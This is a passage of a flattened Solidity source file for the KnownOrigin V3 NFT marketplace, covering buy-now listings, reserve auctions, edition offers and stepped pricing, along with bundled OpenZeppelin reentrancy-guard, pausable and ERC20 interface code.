event ListedForReserveAuction(uint256 indexed _id, uint256 _reservePrice, uint128 _startDate);
event BidPlacedOnReserveAuction(uint256 indexed _id, address _currentOwner, address _bidder, uint256 _amount, uint256 _originalBiddingEnd, uint256 _currentBiddingEnd);
event ReserveAuctionResulted(uint256 indexed _id, uint256 _finalPrice, address _currentOwner, address _winner, address _resulter);
event BidWithdrawnFromReserveAuction(uint256 _id, address _bidder, uint128 _bid);
event ReservePriceUpdated(uint256 indexed _id, uint256 _reservePrice);
event ReserveAuctionConvertedToBuyItNow(uint256 indexed _id, uint128 _listingPrice, uint128 _startDate);
event EmergencyBidWithdrawFromReserveAuction(uint256 indexed _id, address _bidder, uint128 _bid);
function placeBidOnReserveAuction(uint256 _id) external payable;
function placeBidOnReserveAuctionFor(uint256 _id, address _bidder) external payable;
function listForReserveAuction(address _creator, uint256 _id, uint128 _reservePrice, uint128 _startDate) external;
function resultReserveAuction(uint256 _id) external;
function withdrawBidFromReserveAuction(uint256 _id) external;
function updateReservePriceForReserveAuction(uint256 _id, uint128 _reservePrice) external;
function emergencyExitBidFromReserveAuction(uint256 _id) external;
}
interface IKODAV3PrimarySaleMarketplace is IEditionSteppedMarketplace, IEditionOffersMarketplace, IBuyNowMarketplace, IReserveAuctionMarketplace {
function convertReserveAuctionToBuyItNow(uint256 _editionId, uint128 _listingPrice, uint128 _startDate) external;
function convertReserveAuctionToOffers(uint256 _editionId, uint128 _startDate) external;
}
interface ITokenBuyNowMarketplace {
event TokenDeListed(uint256 indexed _tokenId);
function delistToken(uint256 _tokenId) external;
}
interface ITokenOffersMarketplace {
event TokenBidPlaced(uint256 indexed _tokenId, address _currentOwner, address _bidder, uint256 _amount);
event TokenBidAccepted(uint256 indexed _tokenId, address _currentOwner, address _bidder, uint256 _amount);
event TokenBidRejected(uint256 indexed _tokenId, address _currentOwner, address _bidder, uint256 _amount);
event TokenBidWithdrawn(uint256 indexed _tokenId, address _bidder);
function acceptTokenBid(uint256 _tokenId, uint256 _offerPrice) external;
function rejectTokenBid(uint256 _tokenId) external;
function withdrawTokenBid(uint256 _tokenId) external;
function placeTokenBid(uint256 _tokenId) external payable;
function placeTokenBidFor(uint256 _tokenId, address _bidder) external payable;
}
interface IBuyNowSecondaryMarketplace {
function listTokenForBuyNow(uint256 _tokenId, uint128 _listingPrice, uint128 _startDate) external;
}
interface IEditionOffersSecondaryMarketplace {
event EditionBidPlaced(uint256 indexed _editionId, address indexed _bidder, uint256 _bid);
event EditionBidWithdrawn(uint256 indexed _editionId, address _bidder);
event EditionBidAccepted(uint256 indexed _tokenId, address _currentOwner, address _bidder, uint256 _amount);
function placeEditionBid(uint256 _editionId) external payable;
function placeEditionBidFor(uint256 _editionId, address _bidder) external payable;
function withdrawEditionBid(uint256 _editionId) external;
function acceptEditionBid(uint256 _tokenId, uint256 _offerPrice) external;
}
interface IKODAV3SecondarySaleMarketplace is ITokenBuyNowMarketplace, ITokenOffersMarketplace, IEditionOffersSecondaryMarketplace, IBuyNowSecondaryMarketplace {
function convertReserveAuctionToBuyItNow(uint256 _tokenId, uint128 _listingPrice, uint128 _startDate) external;
function convertReserveAuctionToOffers(uint256 _tokenId) external;
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/marketplace/BaseMarketplace.sol
pragma solidity 0.8.4;
/// @notice Core logic and state shared between both marketplaces
abstract contract BaseMarketplace is ReentrancyGuard, Pausable {
event AdminUpdateModulo(uint256 _modulo);
event AdminUpdateMinBidAmount(uint256 _minBidAmount);
event AdminUpdateAccessControls(IKOAccessControlsLookup indexed _oldAddress, IKOAccessControlsLookup indexed _newAddress);
event AdminUpdatePlatformPrimarySaleCommission(uint256 _platformPrimarySaleCommission);
event AdminUpdateBidLockupPeriod(uint256 _bidLockupPeriod);
event AdminUpdatePlatformAccount(address indexed _oldAddress, address indexed _newAddress);
event AdminRecoverERC20(IERC20 indexed _token, address indexed _recipient, uint256 _amount);
event AdminRecoverETH(address payable indexed _recipient, uint256 _amount);
event BidderRefunded(uint256 indexed _id, address _bidder, uint256 _bid, address _newBidder, uint256 _newOffer);
event BidderRefundedFailed(uint256 indexed _id, address _bidder, uint256 _bid, address _newBidder, uint256 _newOffer);
// Only a whitelisted smart contract in the access controls contract
modifier onlyContract() {
_onlyContract();
_;
}
function _onlyContract() private view {
require(accessControls.hasContractRole(_msgSender()), "Caller not contract");
}
// Only admin defined in the access controls contract
modifier onlyAdmin() {
_onlyAdmin();
_;
}
function _onlyAdmin() private view {
require(accessControls.hasAdminRole(_msgSender()), "Caller not admin");
}
/// @notice Address of the access control contract
IKOAccessControlsLookup public accessControls;
/// @notice KODA V3 token
IKODAV3 public koda;
/// @notice platform funds collector
address public platformAccount;
/// @notice precision 100.00000%
uint256 public modulo = 100_00000;
/// @notice Minimum bid / minimum list amount
uint256 public minBidAmount = 0.01 ether;
/// @notice Bid lockup period
uint256 public bidLockupPeriod = 6 hours;
constructor(IKOAccessControlsLookup _accessControls, IKODAV3 _koda, address _platformAccount) {
koda = _koda;
accessControls = _accessControls;
platformAccount = _platformAccount;
}
function recoverERC20(IERC20 _token, address _recipient, uint256 _amount) public onlyAdmin {
_token.transfer(_recipient, _amount);
emit AdminRecoverERC20(_token, _recipient, _amount);
}
function recoverStuckETH(address payable _recipient, uint256 _amount) public onlyAdmin {
(bool success,) = _recipient.call{value : _amount}("");
require(success, "Unable to send recipient ETH");
emit AdminRecoverETH(_recipient, _amount);
}
function updateAccessControls(IKOAccessControlsLookup _accessControls) public onlyAdmin {
require(_accessControls.hasAdminRole(_msgSender()), "Sender must have admin role in new contract");
emit AdminUpdateAccessControls(accessControls, _accessControls);
accessControls = _accessControls;
}
function updateModulo(uint256 _modulo) public onlyAdmin {
require(_modulo > 0, "Modulo point cannot be zero");
modulo = _modulo;
emit AdminUpdateModulo(_modulo);
}
function updateMinBidAmount(uint256 _minBidAmount) public onlyAdmin {
minBidAmount = _minBidAmount;
emit AdminUpdateMinBidAmount(_minBidAmount);
}
function updateBidLockupPeriod(uint256 _bidLockupPeriod) public onlyAdmin {
bidLockupPeriod = _bidLockupPeriod;
emit AdminUpdateBidLockupPeriod(_bidLockupPeriod);
}
function updatePlatformAccount(address _newPlatformAccount) public onlyAdmin {
emit AdminUpdatePlatformAccount(platformAccount, _newPlatformAccount);
platformAccount = _newPlatformAccount;
}
function pause() public onlyAdmin {
super._pause();
}
function unpause() public onlyAdmin {
super._unpause();
}
function _getLockupTime() internal view returns (uint256 lockupUntil) {
lockupUntil = block.timestamp + bidLockupPeriod;
}
function _refundBidder(uint256 _id, address _receiver, uint256 _paymentAmount, address _newBidder, uint256 _newOffer) internal {
(bool success,) = _receiver.call{value : _paymentAmount}("");
if (!success) {
emit BidderRefundedFailed(_id, _receiver, _paymentAmount, _newBidder, _newOffer);
} else {
emit BidderRefunded(_id, _receiver, _paymentAmount, _newBidder, _newOffer);
}
}
/// @dev This allows the processing of a marketplace sale to be delegated higher up the inheritance hierarchy
function _processSale(
uint256 _id,
uint256 _paymentAmount,
address _buyer,
address _seller
) internal virtual returns (uint256);
/// @dev This allows an auction mechanic to ask a marketplace if a new listing is permitted i.e. this could be false if the edition or token is already listed under a different mechanic
function _isListingPermitted(uint256 _id) internal virtual returns (bool);
}
// File: contracts/marketplace/BuyNowMarketplace.sol
pragma solidity 0.8.4;
// "buy now" sale flow
abstract contract BuyNowMarketplace is IBuyNowMarketplace, BaseMarketplace {
// Buy now listing definition
struct Listing {
uint128 price;
uint128 startDate;
address seller;
}
/// @notice Edition or Token ID to Listing
mapping(uint256 => Listing) public editionOrTokenListings;
// list edition with "buy now" price and start date
function listForBuyNow(address _seller, uint256 _id, uint128 _listingPrice, uint128 _startDate)
public
override
whenNotPaused {
require(_isListingPermitted(_id), "Listing is not permitted");
require(_isBuyNowListingPermitted(_id), "Buy now listing invalid");
require(_listingPrice >= minBidAmount, "Listing price not enough");
// Store listing data
editionOrTokenListings[_id] = Listing(_listingPrice, _startDate, _seller);
emit ListedForBuyNow(_id, _listingPrice, _seller, _startDate);
}
// Buy an token from the edition on the primary market
function buyEditionToken(uint256 _id)
public
override
payable
whenNotPaused
nonReentrant {
_facilitateBuyNow(_id, _msgSender());
}
// Buy an token from the edition on the primary market, ability to define the recipient
function buyEditionTokenFor(uint256 _id, address _recipient)
public
override
payable
whenNotPaused
nonReentrant {
_facilitateBuyNow(_id, _recipient);
}
// update the "buy now" price
function setBuyNowPriceListing(uint256 _id, uint128 _listingPrice)
public
override
whenNotPaused {
require(
editionOrTokenListings[_id].seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(editionOrTokenListings[_id].seller, _msgSender()),
"Only seller can change price"
);
// Set price
editionOrTokenListings[_id].price = _listingPrice;
// Emit event
emit BuyNowPriceChanged(_id, _listingPrice);
}
function _facilitateBuyNow(uint256 _id, address _recipient) internal {
Listing storage listing = editionOrTokenListings[_id];
require(address(0) != listing.seller, "No listing found");
require(msg.value >= listing.price, "List price not satisfied");
require(block.timestamp >= listing.startDate, "List not available yet");
uint256 tokenId = _processSale(_id, msg.value, _recipient, listing.seller);
emit BuyNowPurchased(tokenId, _recipient, listing.seller, msg.value);
}
function _isBuyNowListingPermitted(uint256 _id) internal virtual returns (bool);
}
// File: contracts/marketplace/ReserveAuctionMarketplace.sol
pragma solidity 0.8.4;
abstract contract ReserveAuctionMarketplace is IReserveAuctionMarketplace, BaseMarketplace {
event AdminUpdateReserveAuctionBidExtensionWindow(uint128 _reserveAuctionBidExtensionWindow);
event AdminUpdateReserveAuctionLengthOnceReserveMet(uint128 _reserveAuctionLengthOnceReserveMet);
// Reserve auction definition
struct ReserveAuction {
address seller;
address bidder;
uint128 reservePrice;
uint128 bid;
uint128 startDate;
uint128 biddingEnd;
}
/// @notice 1 of 1 edition ID to reserve auction definition
mapping(uint256 => ReserveAuction) public editionOrTokenWithReserveAuctions;
/// @notice A reserve auction will be extended by this amount of time if a bid is received near the end
uint128 public reserveAuctionBidExtensionWindow = 15 minutes;
/// @notice Length that bidding window remains open once the reserve price for an auction has been met
uint128 public reserveAuctionLengthOnceReserveMet = 24 hours;
function listForReserveAuction(
address _creator,
uint256 _id,
uint128 _reservePrice,
uint128 _startDate
) public
override
whenNotPaused {
require(_isListingPermitted(_id), "Listing not permitted");
require(_isReserveListingPermitted(_id), "Reserve listing not permitted");
require(_reservePrice >= minBidAmount, "Reserve price must be at least min bid");
editionOrTokenWithReserveAuctions[_id] = ReserveAuction({
seller : _creator,
bidder : address(0),
reservePrice : _reservePrice,
startDate : _startDate,
biddingEnd : 0,
bid : 0
});
emit ListedForReserveAuction(_id, _reservePrice, _startDate);
}
function placeBidOnReserveAuction(uint256 _id)
public
override
payable
whenNotPaused
nonReentrant {
_placeBidOnReserveAuction(_id, _msgSender());
}
function placeBidOnReserveAuctionFor(uint256 _id, address _bidder)
public
override
payable
whenNotPaused
nonReentrant {
_placeBidOnReserveAuction(_id, _bidder);
}
function _placeBidOnReserveAuction(uint256 _id, address _bidder) internal {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(reserveAuction.reservePrice > 0, "Not set up for reserve auction");
require(block.timestamp >= reserveAuction.startDate, "Not accepting bids yet");
require(msg.value >= reserveAuction.bid + minBidAmount, "You have not exceeded previous bid by min bid amount");
uint128 originalBiddingEnd = reserveAuction.biddingEnd;
// If the reserve has been met, then bidding will end in 24 hours
// if we are near the end, we have bids, then extend the bidding end
bool isCountDownTriggered = originalBiddingEnd > 0;
if (msg.value >= reserveAuction.reservePrice && !isCountDownTriggered) {
reserveAuction.biddingEnd = uint128(block.timestamp) + reserveAuctionLengthOnceReserveMet;
}
else if (isCountDownTriggered) {
// if a bid has been placed, then we will have a bidding end timestamp
// and we need to ensure no one can bid beyond this
require(block.timestamp < originalBiddingEnd, "No longer accepting bids");
uint128 secondsUntilBiddingEnd = originalBiddingEnd - uint128(block.timestamp);
// If bid received with in the extension window, extend bidding end
if (secondsUntilBiddingEnd <= reserveAuctionBidExtensionWindow) {
reserveAuction.biddingEnd = reserveAuction.biddingEnd + reserveAuctionBidExtensionWindow;
}
}
// if someone else has previously bid, there is a bid we need to refund
if (reserveAuction.bid > 0) {
_refundBidder(_id, reserveAuction.bidder, reserveAuction.bid, _bidder, msg.value);
}
reserveAuction.bid = uint128(msg.value);
reserveAuction.bidder = _bidder;
emit BidPlacedOnReserveAuction(_id, reserveAuction.seller, _bidder, msg.value, originalBiddingEnd, reserveAuction.biddingEnd);
}
function resultReserveAuction(uint256 _id)
public
override
whenNotPaused
nonReentrant {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(reserveAuction.reservePrice > 0, "No active auction");
require(reserveAuction.bid >= reserveAuction.reservePrice, "Reserve not met");
require(block.timestamp > reserveAuction.biddingEnd, "Bidding has not yet ended");
// N:B. anyone can result the action as only the winner and seller are compensated
address winner = reserveAuction.bidder;
address seller = reserveAuction.seller;
uint256 winningBid = reserveAuction.bid;
delete editionOrTokenWithReserveAuctions[_id];
_processSale(_id, winningBid, winner, seller);
emit ReserveAuctionResulted(_id, winningBid, seller, winner, _msgSender());
}
// Only permit bid withdrawals if reserve not met
function withdrawBidFromReserveAuction(uint256 _id)
public
override
whenNotPaused
nonReentrant {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(reserveAuction.reservePrice > 0, "No reserve auction in flight");
require(reserveAuction.bid < reserveAuction.reservePrice, "Bids can only be withdrawn if reserve not met");
require(reserveAuction.bidder == _msgSender(), "Only the bidder can withdraw their bid");
uint256 bidToRefund = reserveAuction.bid;
_refundBidder(_id, reserveAuction.bidder, bidToRefund, address(0), 0);
reserveAuction.bidder = address(0);
reserveAuction.bid = 0;
emit BidWithdrawnFromReserveAuction(_id, _msgSender(), uint128(bidToRefund));
}
// can only do this if the reserve has not been met
function updateReservePriceForReserveAuction(uint256 _id, uint128 _reservePrice)
public
override
whenNotPaused
nonReentrant {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(
reserveAuction.seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(reserveAuction.seller, _msgSender()),
"Not the seller"
);
require(reserveAuction.biddingEnd == 0, "Reserve countdown commenced");
require(_reservePrice >= minBidAmount, "Reserve must be at least min bid");
// Trigger countdown if new reserve price is greater than any current bids
if (reserveAuction.bid >= _reservePrice) {
reserveAuction.biddingEnd = uint128(block.timestamp) + reserveAuctionLengthOnceReserveMet;
}
reserveAuction.reservePrice = _reservePrice;
emit ReservePriceUpdated(_id, _reservePrice);
}
function emergencyExitBidFromReserveAuction(uint256 _id)
public
override
whenNotPaused
nonReentrant {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(reserveAuction.bid > 0, "No bid in flight");
require(_hasReserveListingBeenInvalidated(_id), "Bid cannot be withdrawn as reserve auction listing is valid");
bool isSeller = reserveAuction.seller == _msgSender();
bool isBidder = reserveAuction.bidder == _msgSender();
require(
isSeller
|| isBidder
|| accessControls.isVerifiedArtistProxy(reserveAuction.seller, _msgSender())
|| accessControls.hasContractOrAdminRole(_msgSender()),
"Only seller, bidder, contract or platform admin"
);
// external call done last as a gas optimisation i.e. it wont be called if isSeller || isBidder is true
_refundBidder(_id, reserveAuction.bidder, reserveAuction.bid, address(0), 0);
emit EmergencyBidWithdrawFromReserveAuction(_id, reserveAuction.bidder, reserveAuction.bid);
delete editionOrTokenWithReserveAuctions[_id];
}
function updateReserveAuctionBidExtensionWindow(uint128 _reserveAuctionBidExtensionWindow) onlyAdmin public {
reserveAuctionBidExtensionWindow = _reserveAuctionBidExtensionWindow;
emit AdminUpdateReserveAuctionBidExtensionWindow(_reserveAuctionBidExtensionWindow);
}
function updateReserveAuctionLengthOnceReserveMet(uint128 _reserveAuctionLengthOnceReserveMet) onlyAdmin public {
reserveAuctionLengthOnceReserveMet = _reserveAuctionLengthOnceReserveMet;
emit AdminUpdateReserveAuctionLengthOnceReserveMet(_reserveAuctionLengthOnceReserveMet);
}
function _isReserveListingPermitted(uint256 _id) internal virtual returns (bool);
function _hasReserveListingBeenInvalidated(uint256 _id) internal virtual returns (bool);
function _removeReserveAuctionListing(uint256 _id) internal {
ReserveAuction storage reserveAuction = editionOrTokenWithReserveAuctions[_id];
require(reserveAuction.reservePrice > 0, "No active auction");
require(reserveAuction.bid < reserveAuction.reservePrice, "Can only convert before reserve met");
require(reserveAuction.seller == _msgSender(), "Only the seller can convert");
// refund any bids
if (reserveAuction.bid > 0) {
_refundBidder(_id, reserveAuction.bidder, reserveAuction.bid, address(0), 0);
}
delete editionOrTokenWithReserveAuctions[_id];
}
}
// File: contracts/marketplace/KODAV3PrimaryMarketplace.sol
pragma solidity 0.8.4;
/// @title KnownOrigin Primary Marketplace for all V3 tokens
/// @notice The following listing types are supported: Buy now, Stepped, Reserve and Offers
/// @dev The contract is pausable and has reentrancy guards
/// @author KnownOrigin Labs
contract KODAV3PrimaryMarketplace is
IKODAV3PrimarySaleMarketplace,
BaseMarketplace,
ReserveAuctionMarketplace,
BuyNowMarketplace {
event PrimaryMarketplaceDeployed();
event AdminSetKoCommissionOverrideForCreator(address indexed _creator, uint256 _koCommission);
event AdminSetKoCommissionOverrideForEdition(uint256 indexed _editionId, uint256 _koCommission);
event ConvertFromBuyNowToOffers(uint256 indexed _editionId, uint128 _startDate);
event ConvertSteppedAuctionToBuyNow(uint256 indexed _editionId, uint128 _listingPrice, uint128 _startDate);
event ReserveAuctionConvertedToOffers(uint256 indexed _editionId, uint128 _startDate);
// KO Commission override definition for a given creator
struct KOCommissionOverride {
bool active;
uint256 koCommission;
}
// Offer / Bid definition placed on an edition
struct Offer {
uint256 offer;
address bidder;
uint256 lockupUntil;
}
// Stepped auction definition
struct Stepped {
uint128 basePrice;
uint128 stepPrice;
uint128 startDate;
address seller;
uint16 currentStep;
}
/// @notice Edition ID -> KO commission override set by admin
mapping(uint256 => KOCommissionOverride) public koCommissionOverrideForEditions;
/// @notice primary sale creator -> KO commission override set by admin
mapping(address => KOCommissionOverride) public koCommissionOverrideForCreators;
/// @notice Edition ID to Offer mapping
mapping(uint256 => Offer) public editionOffers;
/// @notice Edition ID to StartDate
mapping(uint256 => uint256) public editionOffersStartDate;
/// @notice Edition ID to stepped auction
mapping(uint256 => Stepped) public editionStep;
/// @notice KO commission on every sale
uint256 public platformPrimarySaleCommission = 15_00000; // 15.00000%
constructor(IKOAccessControlsLookup _accessControls, IKODAV3 _koda, address _platformAccount)
BaseMarketplace(_accessControls, _koda, _platformAccount) {
emit PrimaryMarketplaceDeployed();
}
// convert from a "buy now" listing and converting to "accepting offers" with an optional start date
function convertFromBuyNowToOffers(uint256 _editionId, uint128 _startDate)
public
whenNotPaused {
require(
editionOrTokenListings[_editionId].seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(editionOrTokenListings[_editionId].seller, _msgSender()),
"Only seller can convert"
);
// clear listing
delete editionOrTokenListings[_editionId];
// set the start date for the offer (optional)
editionOffersStartDate[_editionId] = _startDate;
// Emit event
emit ConvertFromBuyNowToOffers(_editionId, _startDate);
}
// Primary "offers" sale flow
function enableEditionOffers(uint256 _editionId, uint128 _startDate)
external
override
whenNotPaused
onlyContract {
// Set the start date if one supplied
editionOffersStartDate[_editionId] = _startDate;
// Emit event
emit EditionAcceptingOffer(_editionId, _startDate);
}
function placeEditionBid(uint256 _editionId)
public
override
payable
whenNotPaused
nonReentrant {
_placeEditionBid(_editionId, _msgSender());
}
function placeEditionBidFor(uint256 _editionId, address _bidder)
public
override
payable
whenNotPaused
nonReentrant {
_placeEditionBid(_editionId, _bidder);
}
function withdrawEditionBid(uint256 _editionId)
public
override
whenNotPaused
nonReentrant {
Offer storage offer = editionOffers[_editionId];
require(offer.offer > 0, "No open bid");
require(offer.bidder == _msgSender(), "Not the top bidder");
require(block.timestamp >= offer.lockupUntil, "Bid lockup not elapsed");
// send money back to top bidder
_refundBidder(_editionId, offer.bidder, offer.offer, address(0), 0);
// emit event
emit EditionBidWithdrawn(_editionId, _msgSender());
// delete offer
delete editionOffers[_editionId];
}
function rejectEditionBid(uint256 _editionId)
public
override
whenNotPaused
nonReentrant {
Offer storage offer = editionOffers[_editionId];
require(offer.bidder != address(0), "No open bid");
address creatorOfEdition = koda.getCreatorOfEdition(_editionId);
require(
creatorOfEdition == _msgSender()
|| accessControls.isVerifiedArtistProxy(creatorOfEdition, _msgSender()),
"Caller not the creator"
);
// send money back to top bidder
_refundBidder(_editionId, offer.bidder, offer.offer, address(0), 0);
// emit event
emit EditionBidRejected(_editionId, offer.bidder, offer.offer);
// delete offer
delete editionOffers[_editionId];
}
function acceptEditionBid(uint256 _editionId, uint256 _offerPrice)
public
override
whenNotPaused
nonReentrant {
Offer storage offer = editionOffers[_editionId];
require(offer.bidder != address(0), "No open bid");
require(offer.offer >= _offerPrice, "Offer price has changed");
address creatorOfEdition = koda.getCreatorOfEdition(_editionId);
require(
creatorOfEdition == _msgSender()
|| accessControls.isVerifiedArtistProxy(creatorOfEdition, _msgSender()),
"Not creator"
);
// get a new token from the edition to transfer ownership
uint256 tokenId = _facilitateNextPrimarySale(_editionId, offer.offer, offer.bidder, false);
// emit event
emit EditionBidAccepted(_editionId, tokenId, offer.bidder, offer.offer);
// clear open offer
delete editionOffers[_editionId];
}
// emergency admin "reject" button for stuck bids
function adminRejectEditionBid(uint256 _editionId) public onlyAdmin nonReentrant {
Offer storage offer = editionOffers[_editionId];
require(offer.bidder != address(0), "No open bid");
// send money back to top bidder
if (offer.offer > 0) {
_refundBidder(_editionId, offer.bidder, offer.offer, address(0), 0);
}
emit EditionBidRejected(_editionId, offer.bidder, offer.offer);
// delete offer
delete editionOffers[_editionId];
}
function convertOffersToBuyItNow(uint256 _editionId, uint128 _listingPrice, uint128 _startDate)
public
override
whenNotPaused
nonReentrant {
require(!_isEditionListed(_editionId), "Edition is listed");
address creatorOfEdition = koda.getCreatorOfEdition(_editionId);
require(
creatorOfEdition == _msgSender()
|| accessControls.isVerifiedArtistProxy(creatorOfEdition, _msgSender()),
"Not creator"
);
require(_listingPrice >= minBidAmount, "Listing price not enough");
// send money back to top bidder if existing offer found
Offer storage offer = editionOffers[_editionId];
if (offer.offer > 0) {
_refundBidder(_editionId, offer.bidder, offer.offer, address(0), 0);
}
// delete offer
delete editionOffers[_editionId];
// delete rest of offer information
delete editionOffersStartDate[_editionId];
// Store listing data
editionOrTokenListings[_editionId] = Listing(_listingPrice, _startDate, _msgSender());
emit EditionConvertedFromOffersToBuyItNow(_editionId, _listingPrice, _startDate);
}
// Primary sale "stepped pricing" flow
function listSteppedEditionAuction(address _creator, uint256 _editionId, uint128 _basePrice, uint128 _stepPrice, uint128 _startDate)
public
override
whenNotPaused
onlyContract {
require(_basePrice >= minBidAmount, "Base price not enough");
// Store listing data
editionStep[_editionId] = Stepped(
_basePrice,
_stepPrice,
_startDate,
_creator,
uint16(0)
);
emit EditionSteppedSaleListed(_editionId, _basePrice, _stepPrice, _startDate);
}
function updateSteppedAuction(uint256 _editionId, uint128 _basePrice, uint128 _stepPrice)
public
override
whenNotPaused {
Stepped storage steppedAuction = editionStep[_editionId];
require(
steppedAuction.seller == _msgSender()
|| accessControls.isVerifiedArtistProxy(steppedAuction.seller, _msgSender()),
"Only seller"
);
require(steppedAuction.currentStep == 0, "Only when no sales");
require(_basePrice >= minBidAmount, "Base price not enough");
steppedAuction.basePrice = _basePrice;
steppedAuction.stepPrice = _stepPrice;
emit EditionSteppedAuctionUpdated(_editionId, _basePrice, _stepPrice);
}
function buyNextStep(uint256 _editionId)
public
override
payable
whenNotPaused
nonReentrant {
_buyNextStep(_editionId, _msgSender());
}
function buyNextStepFor(uint256 _editionId, address _buyer)
public
override
payable
whenNotPaused
nonReentrant {
_buyNextStep(_editionId, _buyer);
}
function _buyNextStep(uint256 _editionId, address _buyer) internal {
Stepped storage steppedAuction = editionStep[_editionId];
require(steppedAuction.seller != address(0), "Edition not listed for stepped auction");
require(steppedAuction.startDate <= block.timestamp, "Not started yet");
uint256 expectedPrice = _getNextEditionSteppedPrice(_editionId);
require(msg.value >= expectedPrice, "Expected price not met");
